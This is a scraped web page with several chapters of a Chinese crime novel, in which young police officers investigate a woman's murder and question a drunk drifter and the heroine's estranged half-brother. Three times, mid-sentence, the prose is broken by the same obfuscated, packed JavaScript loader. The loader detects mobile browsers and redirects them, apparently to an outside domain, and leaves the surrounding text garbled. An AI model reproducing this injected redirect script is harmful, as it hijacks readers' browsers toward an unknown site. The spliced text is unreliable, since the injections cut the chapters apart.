“我来付吧,刚刚还没好好谢你!”旁边走过来一个穿着黑裙黄衣的年轻女子,正是方才在街头被田云霄轻薄的女孩。
“啊,是你,其实也没什么,刚刚那个不正经的男人,是——”田芸淼犹豫着,然后苦笑一声,“是我亲戚,所以这是我分内的事。”
“我叫宋词韵,还不知道你叫什么呢——”女孩倒也不在意,微微笑着。
一番自我介绍后,田芸淼才知道这个女孩最近才来彩衣镇投靠姐姐,因为人生地不熟,也没什么朋友,平时过得倒也寂寞。
“你家里只有你跟你姐姐吗?”田芸淼好奇地问道。
“是啊,姐姐平时工作比较忙,而我,还没找到地方上班呢,只能靠姐姐养活,唉——”女孩秀气的眉毛皱在一起,显得十分苦恼。
“别担心,彩衣镇这么大,会找到工作的——对了,我在警局上班,要是你无聊了,随时来找我啊!我们那一群年轻人,很好相处的!”田芸淼看了下时间,算着薛穆冉也快到了,于是跟女孩告别,往吞龙桥走去。
接近半个小时的时间,薛穆冉才气喘吁吁的赶到,趴在这座石桥的栏杆上大口喘着粗气。
“怎么花了将近半个小时?不是说只要20分钟吗?”田芸淼有些疑惑,将早已买好的矿泉水递给他。
“我说的是,那片树林到护城河的距离,又不是到吞龙桥的路程。那条大路是弧形的,自然绕路了。”咕咚咕咚喝下大半瓶水,薛穆冉才开口解释。
“我从树林中穿过来,慢慢走的话,只要15分钟。而且,你看这个——”田芸淼从口袋里掏出证物袋,里面装着一小截白色布条,“这个,极有可能是死者衣服挂到树枝留下的,回去比对一下就能知道。”
“这么说,死者就是在这里看烟花,然后被凶手拖走的咯?可是当时那么多人,不可能没人注意到吧——”薛穆冉始终觉得,昨夜这里人多,根本无法下手。
“要是,死者选择观赏烟花的地点,本就偏僻呢?”田芸淼微微一笑,兴冲冲带着他往上游走去,“你看,这条小河,连接着护城河跟‘飞龙潭’,而潭水边上,有片芦苇丛——”
放眼望去,不远处有一处碧绿色的潭水,岸边生着一丛丛茂盛的芦苇,嫩绿的颜色十分好看,被风吹着发出哗啦啦的声响,那是绿叶子互相击打的动静。
拨开茂密的芦苇丛,两人小心翼翼寻找着残留的痕迹,终于,在最左侧发现了几节断裂的芦苇杆子,地上还留有挣扎的痕迹,一只棕色的系带女士皮鞋漂在水面上,被断了的芦苇挂住,这才没有往护城河里漂去。
薛穆冉赶紧去小卖铺借了电话,给局里打去汇报消息,结果电话一直占线。
他忍不住骂道:“肯定是周明洋那小子又在煲电话粥,回去我要跟队长投诉他!自从两个月前装了电话,他就经常拿来办私人事情!”
“算啦!谁叫他是周法医的弟弟!以后跟萧队长也算亲戚了,自然要包容一点——”田芸淼无奈地摊摊手。
于是,薛穆冉只好再次发挥飞毛腿的技能,跑回去跟萧泰安亲自汇报。直到中午,他们才赶到芦苇丛。
周青语穿着一身白大褂,将那只鞋子收进证物袋。她本不是法医专业,但是因为这地方偏僻,医生资源稀缺,无奈,只能让她兼职担任法医的工作。
萧泰安拿出一条装在证物袋中的灰布,递给田芸淼,“刚才来的路上,我们在草丛中捡到这个,上面有很浓的□□气味。”
“抱歉,是我搜查不仔细——”田芸淼再次低头致歉。
萧泰安看了她一眼,微不可闻的叹了口气。
站在一旁的薛穆冉本能的感觉到,这两人只见似乎有些不寻常的氛围,忍不住看了眼正站在河边看着对面的周青语,心想道:该不会是狗血的三角恋吧!
夜里,对整片树林的搜查才结束,终于可以收工回去,薛穆冉拍着两条快失去知觉的小腿,将头抵在桌子上小憩。
不一会,他迷迷糊糊进入梦境,看见自己来到一处陌生的街道。此刻正艳阳高照,光线在残垣瓦砾间投下阴影,穿过一条条破败的巷子,却看不见一个活物。
他想大声呼喊,却发现自己发不出声音。
恍惚间,远处一团黑影逐渐逼近,直觉告诉他,那很危险。于是拼命奔跑起来,在碎石块间跳跃,在楼与楼的间隙中逃亡,最终,他被那黑影抓住脚腕,整个人失去重心被倒吊起来。
轰的一声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988031|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,脚上一松,他做起了自由落体运动。猛一抖动,再一睁眼,他发现自己正好端端趴在桌子上睡觉。
旁边,田芸淼在分发宵夜。白色的外卖盒子里盛着热气腾腾的馄饨或者面条,在众人吃东西时发出的滋溜声中,薛穆冉才意识到,自己已经不再需要孤军奋战。
田芸淼将一碗馄饨递给他,笑道:“只剩下这个了,你要是不爱吃,我再去换——”
“就这个吧,我喜欢吃馄饨。”薛穆冉小心翼翼地接过外卖盒,像端着一盆价值连城的宝物。
三天后,死者身份依旧不明。眼下基础设施还在重建中,加上本地消息闭塞,还有不少黑户没有身份证明,这让侦查工作更是难上加难。
“唉,这张照片看上去也不一定就是死者,难怪他们都说没见过。”薛穆冉拿着警局画师复原的死者画像,有些不满的抖动着。
田芸淼拿着沾满浆糊的刷子,在告示栏里点出一个长方形,刚好能贴住这张自画像。见远处乌云密布,似乎要下雨的样子,田芸淼笑骂了几句,催促满口怨气的薛穆冉赶紧干活,以免变成落汤鸡。
贴完最后一张,两人拎着浆糊桶往警局方向跑去,不一会,稀稀落落的雨点子落下来,转眼间变成倾盆大雨。
看着田芸淼将手里的浆糊桶顶在头顶上,低着头往前横冲直撞,活像教科书里顶着陶罐的女人,薛穆冉在后面哈哈大笑。
哗啦一声,薛穆冉看见田芸淼摔倒在马路上,头顶的浆糊桶也被碰翻在地,白色的糊状物撒了一片,很快被大雨冲散,消失在下水道里。
抹开脸上的雨水,他才看清眼前的地上躺着一个男人,似乎已经失去意识。他穿着破破烂烂的淡蓝色圆领卫衣,脸上胡子拉碴,头发长的简直可以扎起来。
刚一凑近,就能闻到很重的酒精味。他拉起田芸淼,指了指地上的人,大声问道:“这个人怎么办?可是师姐你撞到的!”
看着田芸淼慌张的揪着衣服,他觉得有些好笑,上去扶起瘫在地上的陌生男人。指挥失魂落魄的师姐将滚在一旁的浆糊桶带上,两人再次往警局跑去。
将肩上扛着的男人随手扔在座椅上,他看见电话机边上果然又被人霸占着,周明洋缩着身子藏在桌子后面小声讲着电话。
“毛巾!”田芸淼递过来一条白毛巾,也注意到那边偷偷摸摸打电话的人,低声笑道:“算了,反正也没什么打电话来。”
“可是,就算是这样他也不能这样啊!”薛穆冉只觉得心里有团火,烧得他心痒难耐,想过去狠狠揍那小子一顿。
这时,躺在椅子上的醉汉发出做梦般的呓语,活像一个孩子似的。
薛穆冉愣了一下,立刻转怒为笑,问道:“他没什么事吧?怎么还不醒啊?”
“周医生检查过了,他没受伤,只是——”田芸淼笑了,露出两只深深的酒窝,显得有些孩子气,“喝多了。”
“我刚一凑近他,就闻到一股子酒味儿,你说这人喝这么多酒,大雨天还在街上乱逛,是想做什么?”田芸淼将毛巾搭在肩膀上,好奇的看着眼前的男人。
“我哪知道,可能是失恋了,所以借酒浇愁。刚好老天爷天降甘霖,他就出来淋一场,好浇得更干净点吧。”薛穆冉随口胡乱猜着,忽然狡黠一笑,“田师姐,你想不想让他立刻醒过来?”
“我肯定想啊,可是他喝这么多,怎么——”
话音未落,只见薛穆冉跑去旁边的桌子上,掏出一个金属罐子,又笑嘻嘻的跑过来,一脸得意。
“这个,是周医生上次买的防狼喷雾,听说巨臭无比。我一直想试试,又不敢,这下刚好派上用场了!”
“可是,这不是周医生的,怎么在你这里?”田芸淼脑子发蒙,一时间无法理解其中的逻辑关系。
“因为她买了俩瓶啊,送我一个了。”
“可是,你是男的,为什么送你,却不送我?”田芸淼眼睛瞪得更大,圆溜溜的像两只漆黑的玻璃球。
“因为,这个嘛,咳咳,说太清楚,可就尴尬了。”薛穆冉有些紧张,干咳几声,“反正,不管怎么样,你要是喜欢,我等会试过了送你呗!”
“才不是这个问题,我要去问问周青语。”田芸淼作势要上楼去问清楚这件事,只听见呲——的一声细响,她愕然回头,紧接着一股说不上来的古怪气味瞬间窜进鼻腔。
“我的天!这是什么味道!”她捏住鼻子往楼上跑去,一边跑一边流泪。这股气味不但难闻,还辣眼睛。
这时办公室门被推开,几个同事刚走进来,一起开口骂道:“这什么味道?有人在办公室吃大蒜拉屎了吗?”
16. 第三章 唯有杜康
“咳咳——我是掉进粪坑了吗?”那昏睡在椅子上的男人终于醒转,本能的捏住鼻子,眯起眼睛,嘴里胡乱嘟囔着。
倒是薛穆冉似乎对这种气味免疫,脸色如常,见人醒了,兴奋地看向躲在楼梯上方的田芸淼,笑道:“师姐,你看,他醒了!赶紧下来啊!”
其他几个同事纷纷跑去窗户边大口喘着气,这才捡回半条命。
屋内剩余的气体被风一吹,逐渐散了,众人才骂骂咧咧走过来,拎着薛穆冉的衣领,准备狠狠揍他一顿,解解气。
这时座椅上的男人忽然呕——的一声,弯腰吐了一地红黄蓝掺杂的糊状物,一股酸不拉几的气味再次扑面而来。除了薛穆冉依旧毫无反应,其他人立刻捂住口鼻,干脆离开这间屋子,跑去其他地方避难。
“薛穆冉,赶紧扫干净,等会萧队长回来,你就死定了!”田芸淼更往上跑了几阶楼梯,远程指挥。
“师姐,你们至于吗?不就是一点呕吐物吗?”薛穆冉一脸无可奈何,去洗手间拿了打扫的器具,老老实实拖起地来。
直至地面恢复正常,田芸淼才从楼梯上下来,倒了杯水递给那稍微恢复意识的陌生男人,问道:“你是谁?为什么会喝那么多酒?”
“怎么?现在喝酒也犯法了?”男人不屑的笑了笑。
“这倒不是,只是现在粮食紧缺,有资格出售酒精的商铺在整个彩衣镇不超过五个。而且一周内购买不能超过500ml,你是怎么做到醉成这样的?”田芸淼见对方不配合,态度也冷淡下来。
“那我天生就容易醉,怪我咯?”男人丝毫不在意,依旧笑得放荡不羁。
“那我们就去你买酒的地方查查,看看是不是如你所说。”田芸淼也不甘示弱,步步紧逼。
男人闻言,眼中闪过一丝不耐烦的神色,很快又恢复原状,猛地起身,闪到一旁。将全身筋骨活动一番,眼角瞄了一眼大门方向,笑道:“那你慢慢查去吧,小爷不奉陪了——”
话音未落,一个箭步往门外跑去,却被办完差事回来的萧泰安碰个正着,一下子抓住他的脖颈子,像拎小鸡似的,将那男人又提了回来。
“这是怎么回事?嫌疑犯吗?”萧泰安随手一扔,让手下两位同事看住那人,看向田芸淼,疑惑地询问。
“萧队长,你回来啦!他啊,不是,上午我跟小薛去贴寻人启事,刚好碰到他。因为现在不是颁布了‘限酒令’嘛,我看他喝得烂醉,就想带回来查查——”田芸淼有些紧张,编了个理由应付。
拖地回来的薛穆冉恰巧看到这一幕,忍不住捂着嘴偷笑。看着刚刚还自信满满的师姐此刻像猫见了老鼠似的,立刻换了一副可怜兮兮的面孔。忽然又看见周青语穿着白大褂从楼上下来,心情顿时又复杂起来。
萧泰安眯起眼睛,盯着田芸淼,忽然正色道:“别给我胡来,现在是非常时期。”
“喂喂喂!小爷不过是喝了点酒,你们至于这样搞我吗?”那男人挣扎着想起身,却苦于被那两名尽责的警察按住双臂,所以动弹不得。
见此情景,萧泰安轻抚额头,无奈道:“算了,刚好,你跟薛穆冉一起,我看着你们练手。”
“练手?队长,你的意思是?”田芸淼愣住了,然后脸上涌出笑意。
“正如你所料,侦讯侦讯,侦查过后,自然就是问讯,你们去问话,我在边上看着。”萧泰安无奈的笑了,让同事将人押进审讯室。
五分钟后,他们站在审讯室门口,薛穆冉正打算进去好好一展拳脚,却注意到身旁的田芸淼已经第三次整理衣服领口和头发,于是忍不住问道:“师姐,你去问话,又不是相亲,搞这么好看做什么?”
“这你就不懂了,我们是公职人员,代表着国家的形象,要注意仪表!”
见田芸淼说的一本正经,薛穆冉也开始检查衣着,心情跟着紧张起来,低声问道:“那师姐,你看看我怎么样?会不会给国家丢脸啊?”
“我看看啊——”
“你们两个到底还问不问话了?”在旁观察的萧泰安终于忍不住,略有些咬牙切齿的意味。
“这就进——进去——”两个警局新人立刻觉得背上起了一层鸡皮疙瘩,赶忙回答。
伸出手,轻轻旋转门把,进屋。
“哈哈哈哈哈哈哈——你们是准备笑死我吗?”那个陌生男人,右手被拷在椅子上,正以一个豪放的坐姿,面对着门口站立的三人狂笑不止。
薛穆冉有些生气撸起袖子上前走了两步,被田芸淼拉住。他看师姐脸色虽然有几分尴尬,但依旧保持着冷静,只是清了清嗓子,率先走过去坐下。
薛穆冉只好忍住怒气,紧随其后。萧泰安最末,坐在一边,阴沉着脸也不说话。
“今天,有关你过量饮酒的案件,我们想问你几个问题。”田芸淼摊开笔录簿,面无表情,语气平缓。
“哦,好吧,那你问吧。”那人依旧掩不住嘴角的笑意,但是态度明显好了很多。
“请问,你叫什么名字?”
“现在警局问话这么有礼貌吗?”男人也不回答问题,反问道。
“请正面回答刚刚的问题。”
“行吧,回答完了,我就能走了吧?”
“这个要看最终结果才能决定。”
“那你们不是耍流氓吗?说了也不给走,不说,也不给我走!”
“要看结果而定,不一定就一定不给你走啊!”
“那也不一定就给我走啊!”
“你——”田芸淼终于忍不住了,气得脸色通红,胸口一阵剧烈起伏。
“小薛,你来问。”萧泰安不为所动,一直盯着对面那个满脸青色胡茬的男人。
“哦,好。”薛穆冉有些受宠若惊,接过笔录簿,看着对面的人,冷冷问道:“姓名。”
“竹七九。”
“什么?七九?”
“竹七九!竹林七贤的竹,七八九十的那个七九。”
“真名吗?你身份证呢?”
“没有。”
“为什么没有?”
“我出生在战场上,父母也不知道哪里去了,一个老头子在战场上捡到我,带着我四处漂泊。我没有父母,没有亲人,我连我自己是谁,都不知道。”
战场上吗——薛穆冉脑子有一瞬间的短路,回想起那片昏黄的场景,尸体遍布山野,黑色的乌鸦成群结队的啄食烂肉残躯,赶都赶不走。
“小薛?怎么啦?”田芸淼拍拍他的胳膊,脸上满是关切的神色。
“没,没事——”薛穆冉深呼吸之后,接着问话,“那——你怎么会出现在彩衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988032|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
镇?这里可不是战场。”
“那老头子带我过来的。”男人抬眼看向对面端坐的三人,嘴角露出戏谑的笑容,“他的真名我也不知道,只知道外号叫‘自在道人’,喜欢四海游荡,最近我们来到彩衣镇,谁知道,他突然就挂了。”
“挂了?什么意思?”
“就是死了呗!那老头子打坐七天七夜后,断气了。不过,也许他已经登入仙界享福去了。”
“你觉得我们会相信这些吗?”
这位自称是竹七九的男人笑了笑,苦笑一声,说:“我已经事无巨细,都跟你们汇报了,信也好,不信也罢,我也没法子。”
“四天前的夜里,镇上发生一起凶杀案,这件事你知道吧?”
“这个我还真不知道,最近一周我都喝得烂醉,昏天黑地,我什么都不知道。”
“那四天前晚上8点至9点之间,你在哪里,做什么?”
“我——应该在飞龙潭边上的‘厢竹酒家’喝酒,最近都在那,你们要是不相信,就去问问老板,或者其他人。”
“飞龙潭?”桌子这边的三人对视一眼,交换了眼神。
“飞龙潭怎么了?四天前,我记得是祭祀河神的那天吧,一群人在放河灯,我趴在靠河的那侧坐着,打算欣赏烟花来着。当时一群人都在围在窗户边,都能给我作证。”
“你能提供几个名字吗?”
“你能记得,拼桌吃饭的人名字吗?”
“行了,今天的问话到此为止。”萧泰安面色一沉,突然结束问话,招呼剩下的两人一起出去。
剩下竹七九在审讯室大声嚎叫,控诉他们不讲信用。
萧泰安将验尸报告递给两人,解释道:“小田捡到的白色布条已经确认,是死者衣服上的。这样一看,路线就很明显了。死者先被人用□□弄晕,被带到那片树林。然后,可能是□□量不够,又或者是其他原因,导致死者又苏醒过来。于是凶手只好掐住死者脖子,打算弄晕她之后实施□□。最后,凶手可能是害怕被死者看到长相,于是十分残暴的用长条状的凶器勒死了这个女人。所以我想,这肯定不是冲动作案,凶手是做了完全的准备的。”
“长条状的?是布条吗?”薛穆冉想起女尸脖子上的红色痕迹,只觉得十分不舒服。
“目前还不好推测是什么,也许是布条,也许是腰带,反正死者是被勒死的。所以,那夜在厢竹酒家看烟花的人里面,很有可能有人注意到那片芦苇丛。”
听着萧泰安解释完,薛穆冉才想通其中的关窍。
“那天,青语站在河边观察,也说从河岸边可以清楚的看见对面的饭店窗户。我本来想,也许这个女人是在监视着对面的什么人,所以才一直藏在那里。现在想想,也许刚好反过来了,是这个女人被别人盯上了。”萧泰安看向屋外,天空似乎没那么阴沉了。
“你们去厢竹酒家问问情况,四天前的夜里,说不定会有目击者。”萧泰安简单安排了一下,“眼下还有一个疑点,就是这个女人为什么一整天都待在那里。我想,这也是解开案情的关键。”
“好!”薛穆冉两人大声应了,拿上外套就往外跑去。
此时大雨已经停了,炫亮的太阳挂在空中,另一侧有一道若隐若现的彩虹。明明才五月份,已经有些热了。
17. 第四章 本是纨绔
半个小时后,薛穆冉才赶到厢竹酒家。站在河岸边上,恰好能将那片芦苇丛看得清清楚楚。只是不知道夜里,还能看清多少。
往店里走去,刚到门口,只听见哗哗几声桌椅倒地的声响,紧接着一阵拳脚打斗的声音。两人对视一眼,立刻上前出示证件,大声道:“警察!你们在做什么?”
往地上一瞧,立刻惊讶不已。只见满屋的桌子翻到了一大半,椅子腿儿飞得遍地都是,各式杯碟洒了一地碎瓷片,整个大堂一片狼藉。
一个西装革履的中年男人,挺着滚圆的肚皮,举着一本登记簿挡在头顶,从柜台后方一路小跑过来,满脸求救的表情:“警察小姐,可得救命啊!这群人快把我这小酒店砸光咯!”
“到底怎么回事?”
“上午下了场大雨,客人还比较少,有个熟客定了那边靠窗的位子,说要来喝茶。我看他一直没来,以为这场大雨所以他今天不来了。恰好另外一个客人也要那个位置,就把位子让给那个人。结果刚好这个时候,前面那个客人也来了,他们互不相让,就打起来了!”
“什么乱七八糟的,还不是因为你不守信用,他们才会打起来!”薛穆冉在旁一针见血的指出重点。
“这可不是我的错啊,我劝了好久,其他位置也能看见飞龙潭,可他们就是看中那个位置,不愿意换,我能怎么办?”这个老板一脸苦相,脸上的肥肉皱在一起,看来倒有几分可笑。
“打架的两个人在哪里?”田芸淼揉了揉太阳穴,似乎十分疲累。薛穆冉也好不到那里去,只觉得脑子里一片嗡嗡作响。
在众人的搀扶下,两个年轻男人一瘸一拐走了过来。其中一个别着头,似乎不愿意面对警察。
二人虽然脸上身上都挂了彩,所幸都是皮外伤,没到伤筋动骨的地步。
薛穆冉伸出脚,将旁边一个倒了的桌子勾过来扶正。又找出两个能坐的凳子,让两位伤员坐着回话。
这时,他注意到,身旁的田芸淼正出神的看着其中一个伤员,神情十分复杂。
“师姐,怎么了?”薛穆冉低声在她耳边询问。
“没,没事,我去问那个,你来问这个。”
不知为何,田芸淼带着其中一个打架的伤员去到桌子另一侧,跟这边拉开一段距离。
薛穆冉无法,只好独自问话。
经过一番询问后,他才知道,不,应该算猜测到,田芸淼今天表情奇怪的原因。这个聚众闹事者,名叫田云霄。
从名字上来看,也能知道,他跟田芸淼关系不一般。
据他回答,昨天他就预定了这个位置,准备今天过来喝茶,因为大雨耽搁了一会,因此晚到一个多小时。谁知道老板就将位置让给别人,他气不过,上去理论几句,对方就开始动手打人。为了自保,他才选择还击。
田芸淼那边的结果跟这个差不多,无非是没有预定座位那一节。
“也就是说,你们两个都认定是对方先出手,而自己只是出于自保,才还击的?”薛穆冉见田芸淼一直不在状态,只好担起责任,出面摆平这件事。
两个闹事的人不约而同的点头。
“在场的各位,我相信旁观者清,应该会有不一样的答案吧。”薛穆冉看向周边,岂料原本还在津津有味看热闹的众人纷纷转过头去,一问话,他们也是顾左右而言他。
这时那个老板凑过来小声解释:“警察小哥,你肯定是新来的吧。难怪不知道!这两个人都是本地有名的恶霸,也就是那种纨绔子弟,仗着家里有点钱肆意妄为。你去问那些小老百姓,肯定也不会有人跟你说什么的。他们也怕惹上麻烦。”
“可是——”薛穆冉还想说些什么,又看向身旁的田芸淼,思考片刻后,说道:“既然两位都承认了是自己打架,毁坏酒店物品,那就五五开吧,今天酒店的所有损失,你们两个平摊。”
“怎么可以这样!”两个纨绔子弟同时抱怨起来。
“要么,就跟我去局里做客,要么赔钱,你们自己选。”
两人对视一眼,重重哼了一声,双双答道:“我选择赔钱。”
“哎,好好好!”老板连忙点头哈腰起来。
“老板,我今天帮你解决这桩事,你可得也帮我解决一件事才行。”薛穆冉悄悄走过去,在那胖老板耳边低语。
“您说,您说,别说一件事,就是一百件!我也得看看情况才行——”
见对方一副圆滑世故的模样,薛穆冉有些不屑,但为了查案,他忍住心头这股不舒服的感觉,低声问道:“五月初五那天夜里,这里有发生什么奇怪的事情吗?”
“初五啊,就是祭河神那天?”胖老板回忆起来,“没发生什么奇怪的事情啊,哦,那天夜里,这位客人也来了,坐在临窗的位置欣赏河灯呢。”
胖乎乎的手指伸向不远处的田云霄。
薛穆冉有些吃惊,但面上依旧不动声色,继续追问:“他在窗户边作了多长时间?大概8点至9点,还有哪些人接近过那边能看见飞龙潭的窗户?”
“这个嘛,田小爷下午就在那坐着了,好像啊,在看什么人。”胖老板凑近了一些,声音很低,“一个穿白裙子的女人,在飞龙潭那边石头上坐着。田小爷就一直在窗户边看。”
“白裙子?是这样的白裙子吗?”薛穆冉掏出那张寻人启事,忙问道。
“这个嘛,长相我没看清楚,但是衣服应该就是这样的。那种样式,一看就是外地来的,跟本地的不一样。”
没等薛穆冉反应,田芸淼已经冲上前去按住田云霄,问道:“初五的那天晚上,8点到9点,你在哪里,做些什么?”
“田芸淼,你是不是脑子坏了?我在哪里关你什么事?”田云霄一个反手挣脱开来,又推了一把田芸淼,双目圆睁,怒道:“我警告你,再敢管我的事,要你好看。”
“五月初五那天晚上,发生一起命案,现在需要你协助调查。”薛穆冉活动了几下筋骨,缓步上前扶起田芸淼。又看向比自己高半个头的田云霄,眼里丝毫不惧。
“凭什么摊上我?你们有什么证据?”田云霄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988033|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愣住,似乎没想到是这个原因。
“据可靠情报,你在初五那天下午就一直盯着死者,我们有理由相信,你打算行不轨之事。”
“谁说的?可靠情报是谁提供的?我要对峙!”田云霄怒吼着,看向站在旁边的胖老板,顿时明白过来,冲过去揪住对方的衣领骂道:“是你在胡说八道!”
薛穆冉伸手抓住对方手腕,稍一用力,田云霄就吃痛松开胖老板的衣服。见对方依旧在挣扎,要跟胖老板纠缠,薛穆冉只好一使劲,揪住对方腰带,将他举在半空中,哗的一下摔在地上。这下子,别说动粗,只怕会好几天下不来床。
见田云霄像只虫子似的蜷起身子,薛穆冉才意识到自己下手过重,看四周看热闹的人越来越多,他有些紧张,只好放缓语气说道:“我劝你最好乖乖合作,不然,受伤的是你自己。”
“你——你们滥用暴力,我要告你们!”田云霄挣扎着站起来,原本还算秀气的脸因为疼痛而变得扭曲。
“跟我们回去一趟吧。”薛穆冉轻轻一推,将田云霄带出酒店,“师姐,剩下的,你再问问情况,这个人,我先带回去了。”
“好。”田芸淼冷着脸,全程没有再看田云霄一次。
目送薛穆冉离去,田芸淼看着满地狼藉,轻轻叹了口气。
这时候,那个胖老板似乎也看出端倪来了,凑过来问道:“警察小妹妹,你也是新来的吧,好像面生的很啊。你也别怪田小爷,他们田家以前可是本地富商,自从战争开始,他们就走下坡路了。虽然还剩下不少祖产,但是毕竟比不了从前了。”
“你对他们田家好像很了解?”
“何止是了解啊,以前田大老爷,就是田小爷的父亲还在的时候,经常来我这里喝酒呢。可惜了,那么个大好人,那么年轻就去世了。听说啊,是因为在外面有了其他女人,还生了个孩子,然后身体才变差的。也不知道外面那女人施了什么妖术。听说,后来那女人拿了田家一笔钱,就消失不见了。可见,当小三还是有赚头!”
胖老板自顾自说着,完全没注意到田芸淼脸色已经阴沉得可怕。
“而且啊,我听说——”胖老板得意洋洋,再次凑过来,低声道:“田小爷似乎打算把祖产都卖了,然后离开彩云镇。已经在找买家了。”
“什么?为什么?什么时候的事情?”田芸淼惊了,连珠炮似的发问。
“大概就是半年前开始的吧,可惜现在大家都没什么钱,整个国家都忙着建设家园呢。谁有闲钱去买那些房地产啊,布料工厂啊之类的,自己都顾不过来,所以一直拖到今天。”
“半年前——那不是——”
那是田芸淼刚回彩衣镇的日子。
“听说,是因为那个小三生的孩子回来了,我猜测,田小爷是怕那孩子跟他争家产吧。”
明明,都说了什么都不要的,为什么,还要这样——
田芸淼眼睛湿润了,但意识到自己的工作还没完成,只能暂且忍住悲伤,开始询问初五夜里,这家酒店的情况来。
18. 第五章 重大嫌疑
等田芸淼问完话,已经接近下午三点。饥肠辘辘的她强撑着身体,返回警局,恰好看见萧泰安做好笔录出来,连忙上去询问情况。
“倒是你那边,现在怎么样?”萧泰安没有直接回答,伸手拿过田芸淼的本子翻起来,“看来,那夜的确不少人都在看烟花,可是,没有任何一个人注意到芦苇丛,是这样吗?”
“是的,那群食客加上老板,每一个人都说,光顾着看河灯跟烟花,根本没注意那片芦苇丛。”田芸淼有些沮丧,明明花费了这么多时间跟精力,却毫无收获。
似乎察觉到她的低落心情,萧泰安轻拍了一下田芸淼的头,安慰道:“查案就是这样的,需要在无数的信息里筛选出有用的。我们要不断寻找,这样才能增加有用线索出现的几率。”
“好吧,对了,田云霄那边有线索吗?”
“关于这个,刚好我要跟你说,因为你们——之间的关系,所以有关他的调查,还得你——避嫌。希望你理解。”
早已是意料之中的事,田芸淼笑了,神色萧索:“我能理解,那,希望队长你,不要太为难他。”
“我有分寸。”
“还有一件事,就是——我们的关系,希望可以——”
“你放心,我不会说出去的。田云霄似乎也不打算让别人知道。所以你放心。只是你们的名字太过相似,只怕——”
“没事,闲言闲语都没关系。”
“这样真的好吗?”
“这样就好。”
肚子,非常不配合的叫了起来。咕咕——咕咕——像一台小马达在转动。田芸淼脸颊微红,说了句抱歉,就消失在门口。
街角有一家面包店,价格便宜,就是味道奇特,不过,非常适合拿来填饱肚子。
“老板,麻烦结一下账。”现在这个点,店里没什么顾客,田芸淼在架子上看了几眼,选了一袋最便宜的吐司面包。
“顺便给我也买一袋吧!”
忽然间,身后响起一个熟悉的声音,却记不清是谁。转头一看,竟然是竹七九。他穿着破破烂烂的圆领卫衣,对于男性来说有些过长的头发凌乱的散在肩膀处。
“你怎么出来了?逃狱可是重罪!”田芸淼作势恐吓。
“你们萧大队长亲自放我出来的,不信你回去问他。”竹七九在架子上端详几个来回,选了一个价格偏贵的菠萝包,“我要吃这个。”
“要吃自己付钱,要不,就跟我分这袋吐司。”付完账,田芸淼摇摇手里的袋子,微笑着,“可以分你三片。”
“扣死了!田家不是很有钱吗?”竹七九撇撇嘴,一脸不情愿。
幸好此时店老板正在后面整理货架,一次并没有听到这句话。田芸淼趁机拉着竹七九往外走去,然后递给对方一片吐司,两人就这样一人一片,专心啃面包起来。
走到一片没人的地方,田芸淼才开口问道:“为什么,你觉得,我跟田家有关系?”
竹七九愣了下,接着大声笑起来:“怎么?难道这是个秘密吗?首先,你们都姓田。第二,你们中间的字都念yun。第三嘛,你没发现吗?”
“什么?”田芸淼着急的问着。
“你们长得很像啊!那双眼睛,还有嘴唇,简直是一个模子刻出来的。”竹七九又笑起来。
“这样吗?”田芸淼声音很低,也不知道是在问对方,还是在问自己。
“告诉你一个劲爆的消息。祭河神那天晚上,我看见那女人被人拖走了。”竹七九止住笑,正色道,“当时,你哥哥在靠近墙角那个位置喝得烂醉,所以他肯定不是凶手。”
听对方这样说,田芸淼明显感到意外,讷讷问道:“那——你看清那人的长相了吗?”
“那么黑,怎么可能看得清。不过,这件案子有蹊跷,你们最好小心点。”
“什么意思?”
“死者不是丢了一双眼睛吗?你没考虑过原因吗?”
两人同时停住脚步,看向旁边的警察局大楼。原来不知不觉间,他们已经回到大本营。
没等她回答,竹七九已经消失在街道上的人群中。
眼睛——有什么深意吗?
这时,薛穆冉急匆匆跑出来,喊道:“师姐,你可回来了,有线索了,我们赶紧出发!”
没等田芸淼反应过来,她已经被面前这个年轻的男人拉着往不知名的地方跑去。刚吃过东西的胃部经过剧烈的运动,逐渐疼痛起来,她忍着这股不适,额头上出现大滴的汗珠。
“到底是去哪里啊?”终于忍不住,她大声问着。
“那个跟你哥——不是,跟田云霄打架的男人,叫徐自友,对吧?”薛穆冉转过头说着,“这个人为什么一定要跟田云霄抢那个靠窗的位置呢?你没考虑过吗?”
“怎么今天都在质问我没考虑这个那个的,”田芸淼低声抱怨,“那又怎么样?徐自友怎么了?他是嫌疑犯吗?”
“他是医院护工,有机会接触□□。而且刚查到,医院那边报告,说缺了一瓶。你说他嫌疑大不大?”
